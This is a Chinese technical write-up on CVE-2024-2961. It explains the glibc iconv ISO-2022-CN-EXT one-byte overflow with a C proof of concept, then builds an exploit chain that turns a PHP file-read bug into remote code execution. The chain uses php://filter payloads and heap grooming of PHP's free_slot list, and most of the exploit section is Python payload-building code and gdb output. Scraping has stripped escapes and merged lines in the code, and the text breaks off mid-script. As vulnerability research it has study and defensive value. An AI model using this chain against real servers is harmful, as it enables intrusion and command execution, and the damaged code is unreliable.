1 ICONV漏洞详情
CVE-2024-2961本质上是GLIBC中iconv库的漏洞，我认为该漏洞的发现巧合性很大。该漏洞的发现者是通过fuzz php发现该漏洞的，如果单纯的fuzz iconv库是无法导致crash，就算是fuzz php，一般情况下就算触发了该漏洞也很难导致crash。
首先是漏洞点，位于glibc/iconvdata/iso-2022-cn-ext.c文件，相关代码如下所示：
elseif((used & SS2_mask) !=0&& (ann & SS2_ann) != (used <<8)){constchar*escseq;
assert (used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8))
{
const char *escseq;
assert ((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;
ann = (ann & ~SS3_ann) | (used << 8);
}
在上述代码的这两个分支中，输入会被转换为4字节的输出，且不会检查输出buf的长度。这可能产生6种输出：
x1b$*H 0x1b 0x24 0x2A 0x48
x1b$+I 0x1b 0x24 0x2b 0x49
x1b$+J 0x1b 0x24 0x2b 0x4a
x1b$+K 0x1b 0x24 0x2b 0x4b
x1b$+L 0x1b 0x24 0x2b 0x4c
x1b$+M 0x1b 0x24 0x2b 0x4d再来看看PoC，代码如下所示：
/*CVE-2024-2961 POC$ gcc -o poc ./poc.c && ./pocRemaining bytes (should be > 0): -1$*/#include <iconv.h>#include <stdlib.h>#include <stdio.h>#include <string.h>#include <ctype.h>
void hexdump(void *ptr, int buflen)
{
unsigned char *buf = (unsigned char *)ptr;
int i, j;
for (i = 0; i < buflen; i += 16)
{
printf("%06x: ", i);
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%02x ", buf[i + j]);
else
printf(" ");
printf(" ");
for (j = 0; j < 16; j++)
if (i + j < buflen)
printf("%c", isprint(buf[i + j]) ? buf[i + j] : '.');
printf("n");
}
}
void main()
{
iconv_t cd = iconv_open("ISO-2022-CN-EXT", "UTF-8");
char input[0x10] = "AAAAA劄";
char output[0x10] = {0};
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer
size_t sinput = strlen(input);
size_t soutput = sinput;
iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zdn", soutput);
hexdump(output, 0x10);
}
编译上面的代码运行：
$ gcc poc.c -o poc
$ ./poc
./poc
Remaining bytes (should be > 0): -1
000000: 41 41 41 41 41 1b 24 2a 48 00 00 00 00 00 00 00 AAAAA.$*H.......我们使用python来看看PoC的特殊字符：
BUG = "劄".encode()
print(BUG)
# b'xe5x8ax84'从上面的结果可以看出，这个特殊字符只占3字节，但是却会被转译为x1b$*H四字节，产生了一字节的溢出，上面的PoC似乎还是不太好展示出该漏洞的影响情况，我们可以简单的改改代码，如下所示：
voidmain(){iconv_t cd = iconv_open("ISO-2022-CN-EXT","UTF-8");
char input[0x3] = "劄";
char output[0x3] = {0};
char overflow[0x5] = "AAAA";
char *pinput = input;
char *poutput = output;
// Same size for input and output buffer
size_t sinput = 3;
size_t soutput = 3;
size_t status = iconv(cd, &pinput, &sinput, &poutput, &soutput);
printf("Remaining bytes (should be > 0): %zdnstatus = %dn", soutput, status);
hexdump(output, 0x10);
printf("overflow = %sn", overflow);
}
# 查看运行结果
$ gcc poc.c -o poc
$ ./poc
Remaining bytes (should be > 0): -1
status = -1
000000: 1b 24 2a 48 41 41 41 00 00 13 9e 1c e1 6c 44 86 .$*HAAA......lD.
overflow = HAAA
从上面的结果可以看出，我们成功的溢出了1字节到overflow变量中。
2 PHP任意文件读到RCE
在了解完iconv漏洞原理之后，接下来再看看该漏洞的实际利用场景。目前已公开的漏洞利用场景只有一个，就是把PHP的任意文件读取漏洞转换为远程命令指令漏洞。
我们首先来看看以下PHP代码：
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>CTF的web手应该都知道，我们可以构造PoC：php://filter/read=convert.iconv.UTF-8.ISO-2022-CN-EXT/resource=data:text/plain;base64,xxxxxxx。
这样我们就可以调用iconv_open("ISO-2022-CN-EXT", "UTF-8");，接着控制iconv函数的输入buffer，达到触发iconv漏洞的目的。
首先我们需要搭建一个测试环境，Dockerfile如下所示：
$ cat DockerfileFROM ubuntu:22.04
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt update && apt install -y nginx php-fpm
# libc降级到有漏洞的版本
RUN apt install -y libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3 libc6=2.35-0ubuntu3
COPY index.php /var/www/html/index.php
COPY nginx.conf /etc/nginx/sites-enabled/default
COPY start.sh /start.sh
RUN chmod +x /start.sh
CMD ["start.sh"]
$ cat index.php
<?php
$data = file_get_contents($_POST['file']);
echo "File contents: $data";
?>
$ cat nginx.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
index index.php;
server_name _;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ .php$ {
fastcgi_split_path_info ^(.+.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php8.1-fpm.sock;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
}
$ cat start.sh
#!/bin/bash
/etc/init.d/php8.1-fpm start
nginx -g 'daemon off;'
环境搭建好以后，可以直接使用公开的PoC进行漏洞利用，能成功执行任意命令，该过程就不再赘述。
首先我们来看看公开的python PoC脚本，该PoC可以分为3个步骤。
-
首先，对目标是否能进行漏洞利用进行检测，该检测过程没法检测目标是否存在漏洞，只能检测目标是否存在进行漏洞利用的条件，有以下三个方面：
- 检测目标的任意文件读是否支持：
data:text/plain;base64,。 - 检测目标的任意文件读是否支持：
php://filter//resource=data:text/plain;base64,。 - 检测目标的任意文件读是否支持：
php://filter/zlib.inflate/resource=data:text/plain;base64,。
-
通过
/proc/self/maps获取目标的内存布局，获取目标libc文件。获取目标内存布局需要获取libc的基地址，PHP堆的基地址。libc的基地址很好获取，但是PHP堆的基地址就得猜测，没办法100%确定，PHP堆有以下条件：
- 大小在
0x200000之上，并且为该大小的倍数，所以还需要0x200000对齐。 - 该内存段不属于任何二进制文件。
- 该内存段的权限为：
rw-p
-
构造Payload，发送Payload到目标进行漏洞利用。
接下来分析该PoC中是如何构造Payload以进行漏洞利用。
2.3.1 调试环境搭建
我们先来搭建一个漏洞调试环境，步骤如下：
# 安装apt-src
$ sudo apt install -y apt-src
$ sudo apt-src update
$ sudo apt-src install php8.1
# 使用apt-src获取php源码后，会把源码解压到当前目录
$ ls -alF
drwxr-xr-x 26 ubuntu ubuntu 4096 May 29 07:11 php8.1-8.1.2/
# 编译源码
$ cd php8.1-8.1.2/ && dpkg-buildpackage
# 保证libc存在漏洞
$ sudo apt install -y libc6=2.35-0ubuntu3 libc6-dev=2.35-0ubuntu3 libc-dev-bin=2.35-0ubuntu3
# gdb调试命令
$ gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php
$ cat .gdbinit
dir ./php8.1-8.1.2/
r poc.php
$ cat poc.php
$poc = "php://filter/read=......";
$data = file_get_contents($poc);
var_dump($data);2.3.2 利用分析
简单分析一下PoC可以得知，该漏洞利用的思路在CTF中算是简单题，程序复杂度上比CTF的难。
如果把这道题看成CTF，那么就是一个在已知内存地址，libc的情况下进行堆的漏洞利用。并且PHP的堆分配并不是直接使用libc的malloc，而且封装了自己的堆函数。
所以我们需要关注PHP的堆管理，首先需要关注_zend_mm_heap结构体：
struct_zend_mm_heap {#if ZEND_MM_CUSTOMintuse_custom_heap;#endif#if ZEND_MM_STORAGEzend_mm_storage *storage;#endif#if ZEND_MM_STATsize_t size;/* current memory usage */size_t peak;/* peak memory usage */#endifzend_mm_free_slot *free_slot[ZEND_MM_BINS];/* free lists for small sizes */#if ZEND_MM_STAT || ZEND_MM_LIMITsize_t real_size;/* current size of allocated pages */#endif#if ZEND_MM_STATsize_t real_peak;/* peak size of allocated pages */#endif#if ZEND_MM_LIMITsize_t limit;/* memory limit */intoverflow;/* memory overflow flag */#endif
zend_mm_huge_list *huge_list; /* list of huge allocated blocks */
zend_mm_chunk *main_chunk;
zend_mm_chunk *cached_chunks; /* list of unused chunks */
int chunks_count; /* number of allocated chunks */
int peak_chunks_count; /* peak number of allocated chunks for current request */
int cached_chunks_count; /* number of cached chunks */
double avg_chunks_count; /* average number of chunks allocated per request */
int last_chunks_delete_boundary; /* number of chunks after last deletion */
int last_chunks_delete_count; /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
union {
struct {
void *(*_malloc)(size_t);
void (*_free)(void*);
void *(*_realloc)(void*, size_t);
} std;
struct {
void *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void (*_free)(void* ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
void *(*_realloc)(void*, size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
} debug;
} custom_heap;
HashTable *tracked_allocs;
#endif
};
在该结构体中，我们需要关注free_slot，这个结构体可以等同于最古老的tcache，因为没有任何的检查，利用难度直线下降。
如果是在一个CTF题目中，我们可以用以下利用思路：
- 分配x个相同大小并且地址连续的堆，然后释放它们，那么它们会被放入tcache中形成链表。
- 我们获取第一个堆，并且通过漏洞溢出1字节，这样将会覆盖下一个堆的tcache链表指针。
- 因为溢出的一字节不可控，在此例中，为0x48，所以我们需要该地址的堆可以让我们任意地址写入。并且在之前控制该地址的值指向我们想要控制的任意地址，比如
free_hook地址，这样我们之后分配的堆就能获取到free_hook地址的堆，达到控制free_hook的目的，从而RCE。
在构思完思路后，我们来具体模拟一下：
1. 有三个大小为0x100的连续的堆
0x40100, 0x40200, 0x40300
2. 控制0x40348地址的值为free_hook地址对齐后地址，或者其他想要任意写的任意地址。
3. 释放它们形成tcache链表
0x40100->0x40200->0x40300
4. 获取第一个堆：0x40100，这样tcache链表就变成了：
0x40200->0x40300
5. 触发漏洞，让0x40100的堆溢出一字节，这样tcache的链表就变成了：
0x40200->0x40348->free_hook
6. 再分配一个堆，tcache链表变成了：
0x40348->free_hook
7. 重复第6步，tcache链表变成了：
free_hook
8. 重复第6步，这次我们获取到的堆地址指向了free_hook，让我们可以把其覆盖为system地址
9. 调用free(buf), buf=/bin/sh，这样就能成功RCE以上为CTF中的利用思路，但是CTF中PWN题目的程序复杂度比较低，考验的都是漏洞利用技巧，很少会考验逆向能力，所以可以很容易控制堆分配和堆释放。但是在实际利用中，程序的复杂度不是一个量级的。
在当前漏洞中，我们的测试环境中PHP只会调用file_get_contents函数，我们也只能控制该函数的参数，并不能很明显的控制malloc/free函数。因此，我们需要对file_get_contents函数进行逆向分析，看看在PHP源码中，如何控制file_get_contents函数调用堆分配/释放，并且获取我们需要大小的堆。
经过对公开的PoC进行调试，结合PHP的源码分析，可以得知以下几点：
zlib.inflate的作用是进行zlib解压缩，将会调用PHP的php_zlib_inflate_filter函数，并且在php_zlib_filter_create函数中限制了能分配的最大堆尺寸为0x8000。dechunk的作用是处理HTTP CHUNKED，将会调用PHP的php_chunked_filter函数，我们可以通过该函数，buffer的size标志位缩减到任意值。没法控制堆的大小，只能控制有效长度的标志位。在file_get_contents函数的流程中，用户输入的buffer都是放在php_stream_bucket结构体中，该结构体的定义如下：
struct_php_stream_bucket {php_stream_bucket *next, *prev;php_stream_bucket_brigade *brigade;
char *buf;
size_t buflen;
/* if non-zero, buf should be pefreed when the bucket is destroyed */
uint8_t own_buf;
uint8_t is_persistent;
/* destroy this struct when refcount falls to zero */
int refcount;
};
在该结构体中，buf指向一个堆缓冲区，比如指向一个大小为0x8000的堆，但是buflen表示的是数据的有效长度，比如可以是0x8000，那么该堆中的数据都是有效的，通过dechunk过滤器，我们可以缩减buflen的长度为任意值，比如缩减到0x100，那么堆还是0x8000的堆，但是只有前0x100字节的数据是有效数据。
convert.quoted-printable-decode的作用是对=00格式的数据进行解码，变为x00。convert.iconv.x.x的作用调用iconv函数对数据进行编码转换。在PoC中使用两种：convert.iconv.UTF-8.ISO-2022-CN-EXT和convert.iconv.latin1.latin1。
其中convert.iconv.UTF-8.ISO-2022-CN-EXT很明显是用来触发漏洞的。但是convert.iconv.latin1.latin1的作用需要仔细分析。
convert.iconv.x.x过滤器调用的是php_iconv_stream_filter_do_filter函数，进过分析发现，在该函数中输出的buffer会根据buflen对堆进行重新分配。例如，输出的buffer是一个0x8000的堆，但是buflen=0x100，那么就会根据该长度申请一个新的堆作为iconv的输出。经过iconv编码转换，由于输入输出的编码相同，所以输出数据不变，但堆的大小会发生变化。
通过上述分析可以发现，在PoC中组合使用dechunk和convert.iconv.latin1.latin1的原因是因为这样可以控制获取任意大小的堆。通过dechunk将buflen设置为0x8000以下的任意值，然后使用convert.iconv.latin1.latin1把堆修改为相应的size。除了可以分配任意size的堆，还可以把任意size的堆放入free_slot中。
PoC中利用的目标为修改_zend_mm_heap结构体中的custom_heap结构，作用和free_hook类似，因为在emalloc中有以下代码：
ZEND_API void* ZEND_FASTCALL _emalloc(size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
// 如果设置了custom堆，则调用该函数，跟free_hook的作用一样
#if ZEND_MM_CUSTOM
if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
return _malloc_custom(size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}
#endif
return zend_mm_alloc_heap(AG(mm_heap), size ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
}把custom_heap结构体中的_free设置为system，那么调用efree的时候就能执行system函数了。
2.3.3 漏洞调试
接下来，通过调试的方法来研究在PHP的实际环境中如何构造利用链。
建议在以下位置下断点调试，能比较清晰的看出堆的变化情况：
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff52a3000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
......
In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:575
570 flags = stream->eof ? PSFS_FLAG_FLUSH_CLOSE : PSFS_FLAG_FLUSH_INC;
571 }
572
573 /* wind the handle... */
574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
? 575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);我们可以直接把这个断点加入到gdbinit中：
$ cat .gdbinit
dir ./php8.1-8.1.2/
b *(_php_stream_fill_read_buffer+309)
r poc.php由于我们使用gdb调试，而gdb默认会关闭地址随机化，因此我们可以在gdbinit中定义一个指令方便我们查看PHP的堆信息。此外，还可以再添加一个指令，方便查看pbucket的情况，最终的gdbinit内容如下所示：
$ cat .gdbinit
define php_heap
p *(struct _zend_mm_heap *) 0x7ffff5200040
end
define pbucket
p *(php_stream_bucket *) $arg0
end
define pbucketall
pbucket $arg0
set $bucket = (php_stream_bucket*) $arg0
if $bucket->next != 0
pbucketall $bucket->next
end
end
dir ./php8.1-8.1.2/
b *(_php_stream_fill_read_buffer+309)
r poc.php接下来还需要编写一个python脚本，以便控制和生成payload。如下所示，有些函数直接参考了公开的PoC：
#!/usr/bin/env python3# -*- coding=utf-8 -*-importzlibimportbase64
def p64(data: int) -> bytes:
return int.to_bytes(data, 8, "little")
# 该函数对数据进行zlib压缩，让php的zlib.inflate进行解压缩
def compress(data) -> bytes:
"""Returns data suitable for `zlib.inflate`.
"""
# Remove 2-byte header and 4-byte checksum
return zlib.compress(data, 9)[2:-4]
# 对数据纪念下quoted printable编码，php解码使用的是convert.quoted-printable-decode
def qpe(data: bytes) -> bytes:
"""Emulates quoted-printable-encode.
"""
return "".join(f"={x:02x}" for x in data).upper().encode()
# 最终填充到0x8000长度的数据
def compressed_bucket(data: bytes) -> bytes:
"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""
return chunked_chunk(data, 0x8000)
# 进行HTTP CHUNKED编码，php使用dechunk
def chunked_chunk(data: bytes, size: int = None) -> bytes:
"""Constructs a chunked representation of the given chunk. If size is given, the
chunked representation has size `size`.
For instance, `ABCD` with size 10 becomes: `0004nABCDn`.
"""
# The caller does not care about the size: let's just add 8, which is more than
# enough
if size is None:
size = len(data) + 8
keep = len(data) + len(b"nn")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"n" + data + b"n"
# 做了点修改，把chunk函数删除了，因为payload的构造不一样，所以使用chunk函数会有不同
def ptr_bucket(*ptrs, size=None) -> bytes:
"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
return bucket
def buildPayload() -> str:
payload = b""
pages = (
payload
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
"zlib.inflate",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
def main():
path = buildPayload()
phpCode = f"""<?php
$poc = "{path}";
$data = file_get_contents($poc);
var_dump($data);
?>"""
with open("poc.php", "w") as f:
f.write(phpCode)
print(path)
if __name__ == "__main__":
main()
以上就是我通过公开的PoC修改的一版调试用的python脚本，我们只需关注该脚本中的buildPayload函数。调试命令也很简单：python3 poc.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php。
接下来我们将探讨如何将这一问题与CTF的思路联系起来。在CTF中，常能够轻松利用的原因是我们可以相对容易地控制堆的分配和释放。因此，现在我们需要研究如何在php中实现对堆的分配和释放的控制。
和公开的PoC一样，我们选择控制长度为0x100的堆（这个长度的堆比较好对齐）。
在此之前，我们还需要知道在PHP堆的free_slot中，堆的尺寸是如何分布的，可以参见zend_alloc_sizes.h文件，如下所示：
/* num, size, count, pages */
#define ZEND_MM_BINS_INFO(_, x, y)
_( 0, 8, 512, 1, x, y)
_( 1, 16, 256, 1, x, y)
_( 2, 24, 170, 1, x, y)
_( 3, 32, 128, 1, x, y)
_( 4, 40, 102, 1, x, y)
_( 5, 48, 85, 1, x, y)
_( 6, 56, 73, 1, x, y)
_( 7, 64, 64, 1, x, y)
_( 8, 80, 51, 1, x, y)
_( 9, 96, 42, 1, x, y)
_(10, 112, 36, 1, x, y)
_(11, 128, 32, 1, x, y)
_(12, 160, 25, 1, x, y)
_(13, 192, 21, 1, x, y)
_(14, 224, 18, 1, x, y)
_(15, 256, 16, 1, x, y)
_(16, 320, 64, 5, x, y)
_(17, 384, 32, 3, x, y)
_(18, 448, 9, 1, x, y)
_(19, 512, 8, 1, x, y)
_(20, 640, 32, 5, x, y)
_(21, 768, 16, 3, x, y)
_(22, 896, 9, 2, x, y)
_(23, 1024, 8, 2, x, y)
_(24, 1280, 16, 5, x, y)
_(25, 1536, 8, 3, x, y)
_(26, 1792, 16, 7, x, y)
_(27, 2048, 8, 4, x, y)
_(28, 2560, 8, 5, x, y)
_(29, 3072, 4, 3, x, y)所以我们要查看0x100大小的堆在free_slot中的情况，可以使用以下命令：
pwndbg> php_heap
$1 = {
use_custom_heap = 0,
storage = 0x0,
size = 493544,
peak = 493544,
free_slot = ......
pwndbg> p $1.free_slot[15]
$2 = (zend_mm_free_slot *) 0x7ffff52881002.3.3.1 获取一个0x100大小的堆
要让PHP分配一个0x100大小的堆，buildPayload函数的编写可以参见以下代码：
defbuildPayload() -> str:heapSize =0x100
step1 = b"A" * heapSize
step1 = compressed_bucket(step1)
pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
通过调试查看堆分配情况，过程如下所示：
第一次断点断在php_zlib_inflate_filter函数，该函数将会对输入的数据进行zlib解压缩，gdb情况如下所示。
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_zlib_inflate_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff5283000 —? 0x555555a0f760 (php_zlib_inflate_ops) —? 0x5555556cc740 (php_zlib_inflate_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0第二次在php_chunked_filter函数处设置断点，查看输入的bucket结构，里面的内容为输入的0x8000长度的数据，gdb详情如下所示：
pwndbg> c
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_chunked_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff5283050 —? 0x555555a6db00 (chunked_filter_ops) —? 0x5555557bcdc0 (php_chunked_filter) ?— endbr64
rdx: 0x7fffffffa7b0 —? 0x7ffff5262180 ?— 0x0
pwndbg> pbucket 0x7ffff5262180
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff52a3000 '0' <repeats 200 times>...,
buflen = 32768,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}第三次断点设置在了php_iconv_stream_filter_do_filter函数处，查看bucket内容，发现buf的堆地址没变，只有buflen被修改为了0x100，gdb详情如下所示：
pwndbg> c
? 0x5555557dfae5 <_php_stream_fill_read_buffer+309> call qword ptr [rax] <php_iconv_stream_filter_do_filter>
rdi: 0x7ffff527d2a0 —? 0x555555a6dd40 (php_stream_rfc2397_ops) ?— 0x0
rsi: 0x7ffff52830a0 —? 0x7ffff493e430 (php_iconv_stream_filter_ops) —? 0x7ffff4937d60 (php_iconv_stream_filter_do_filter) ?— endbr64
rdx: 0x7fffffffa7a0 —? 0x7ffff5262180 ?— 0x0
pwndbg> pbucket 0x7ffff5262180
$2 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff52a3000 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}在最后一步，无法再继续执行continue命令，因为程序会运行结束。此时，我们需要使用next指令观察执行完php_iconv_stream_filter_do_filter函数后bucket的情况，gdb过程如下所示：
pwndbg> ni
......
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff5288100 'A' <repeats 200 times>...,
buflen = 256,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
pwndbg> php_heap
$2 = {
......
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200从上述过程可以看出，我们成功地申请到了一个大小为0x100的堆。
2.3.3.2 释放一个长度为0x100大小的堆
buildPayload函数的编写可以参考以下代码：
defbuildPayload() -> str:heapSize =0x100
step1 = b"A" * 0x10
step1 = chunked_chunk(step1, heapSize)
step1 = compressed_bucket(step1)
pages = (
step1
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 让php分配0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1",
# 释放0x100大小的堆
"dechunk",
"convert.iconv.latin1.latin1"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
前面四步和上面一样，我们从第二个dechunk执行完开始，gdb过程如下所示：
pwndbg> p *brig_inp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7a0,
buf = 0x7ffff5288100 'A' <repeats 16 times>, '0' <repeats 184 times>...,
buflen = 16,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288200在第二个dechunk执行完毕后，buf仍然是长度为0x100的堆，但buflen被修改为了0x10。接着我们把程序停在执行完php_iconv_stream_filter_do_filter函数之后，再查看堆信息，gdb过程如下所示：
pwndbg> p *brig_outp.head
$1 = {
next = 0x0,
prev = 0x0,
brigade = 0x7fffffffa7b0,
buf = 0x7ffff527e060 'A' <repeats 16 times>, "200340'365377177",
buflen = 16,
own_buf = 1 '�01',
is_persistent = 0 '�00',
refcount = 1
}
pwndbg> p $2.free_slot[15]
$3 = (zend_mm_free_slot *) 0x7ffff5288100从上面的结果可以看出，大小为0x100的堆(0x7ffff5288100)已经被释放并且被放入free_slot当中。
2.3.3.3 触发漏洞
完成了上面两步的调试过程，我们已经可以像做一道CTF的堆题一样，随意的控制malloc和free。
现在我们来尝试按照上面分析CTF题的步骤来构造触发漏洞的利用链。
经过一番调试分析，我构造的利用链步骤如下：
- 最开始0x100大小的堆的free链表为：
0x7ffff5288100->0x200->0x300->0x400->0x500...。 - 申请三个堆后，free链表为：
0x7ffff5288400->0x500->0x600...。 - 把这三个堆释放后，free链表为：
0x7ffff5288300->0x200->0x100->0x400...。 - 再次申请两个堆，地址为
0x7ffff5288300，0x7ffff5288200。 - 把这两个堆释放，这个时候free链表为：
0x7ffff5288200->0x300->0x100->0x400... - 触发漏洞，这个时候
0x7ffff5288200会被用来存放iconv的结果，所以能溢出1字节覆盖到了0x7ffff5288300地址的第一字节，这个时候free链表变为了：0x7ffff5288300->0x148->...。 - 由于触发漏洞时，iconv返回-1，所以
0x7ffff5288200堆在溢出后会被释放，这个时候free链表为：0x7ffff5288200->0x300->0x148...。
根据上面的步骤，来编写buildPayload函数，代码如下所示：
defbuildPayload() -> str:'''我们把一次处理dechunk + convert.iconv.的过程算一步'''heapSize =0x100BUG ="劄".encode("utf-8")
# 第一步申请0x100的堆，第二步释放
step1_malloc_step2_free = b"A" * 0x10
# 第三次dechunk，长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free)
# 第二次dechunk，长度小于0x100
step1_malloc_step2_free = chunked_chunk(step1_malloc_step2_free, heapSize)
# 第一次dechunk，长度等于0x100
step1_malloc_step2_free = compressed_bucket(step1_malloc_step2_free)
# 第二步申请0x100的堆，第三步释放
step2_malloc_step3_free = b"B" * 0x20
# 第三次dechunk，长度小于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free, heapSize)
# 第二次dechunk，长度等于0x100
step2_malloc_step3_free = chunked_chunk(step2_malloc_step3_free)
# 第一次dechunk，长度大于0x100
step2_malloc_step3_free = compressed_bucket(step2_malloc_step3_free)
# 第三步触发bug
step3_trigger_bug = (0x100 - len(BUG)) * b"x00" + BUG
# 确保长度为0x100
assert len(step3_trigger_bug) == 0x100
# 第三次dechunk，长度等于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第二次dechunk，长度大于0x100
step3_trigger_bug = chunked_chunk(step3_trigger_bug)
# 第一次dechunk，长度大于0x100
step3_trigger_bug = compressed_bucket(step3_trigger_bug)
pages = (
step1_malloc_step2_free * 3 +
step2_malloc_step3_free * 2 +
step3_trigger_bug
)
resource = compress(pages)
resource = base64.b64encode(resource)
resource = f"data:text/plain;base64,{resource.decode()}"
filters = [
# zlib解压缩
"zlib.inflate",
# 第一步
"dechunk",
"convert.iconv.latin1.latin1",
# 第二步
"dechunk",
"convert.iconv.latin1.latin1",
# 第三步触发漏洞
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT"
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"
return path
接着使用gdb调试查看堆布局，如下所示：
$ python3 poc1.py && gdb ./php8.1-8.1.2/fpm-build/sapi/cli/php# 最终断点停在执行完处理convert.iconv.UTF-8.ISO-2022-CN-EXT的函数0x5555557dfae5<_php_stream_fill_read_buffer+309> call qword ptr [rax]
? 0x5555557dfae7 <_php_stream_fill_read_buffer+311> cmp eax, 2
0x5555557dfaea <_php_stream_fill_read_buffer+314> je _php_stream_fill_read_buffer+256 <_php_stream_fill_read_buffer+256>
↓
0x5555557dfab0 <_php_stream_fill_read_buffer+256> pxor xmm0, xmm0
0x5555557dfab4 <_php_stream_fill_read_buffer+260> movaps xmmword ptr [r12], xmm0
0x5555557dfab9 <_php_stream_fill_read_buffer+265> mov rbp, qword ptr [rbp + 0x18]
0x5555557dfabd <_php_stream_fill_read_buffer+269> test rbp, rbp
0x5555557dfac0 <_php_stream_fill_read_buffer+272> je _php_stream_fill_read_buffer+448 <_php_stream_fill_read_buffer+448>
↓
0x5555557dfb70 <_php_stream_fill_read_buffer+448> mov rbp, qword ptr [r14]
0x5555557dfb73 <_php_stream_fill_read_buffer+451> test rbp, rbp
0x5555557dfb76 <_php_stream_fill_read_buffer+454> jne _php_stream_fill_read_buffer+502 <_php_stream_fill_read_buffer+502>
─────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────
In file: /home/ubuntu/CVE-2024-2961/php8.1-8.1.2/main/streams/streams.c:577
572
573 /* wind the handle... */
574 for (filter = stream->readfilters.head; filter; filter = filter->next) {
575 status = filter->fops->filter(stream, filter, brig_inp, brig_outp, NULL, flags);
576
? 577 if (status != PSFS_PASS_ON) {
578 break;
579 }
580
581 /* brig_out becomes brig_in.
582 * brig_in will always be empty here, as the filter MUST attach any un-consumed buckets
# freeslot的定义如下
define freeslot
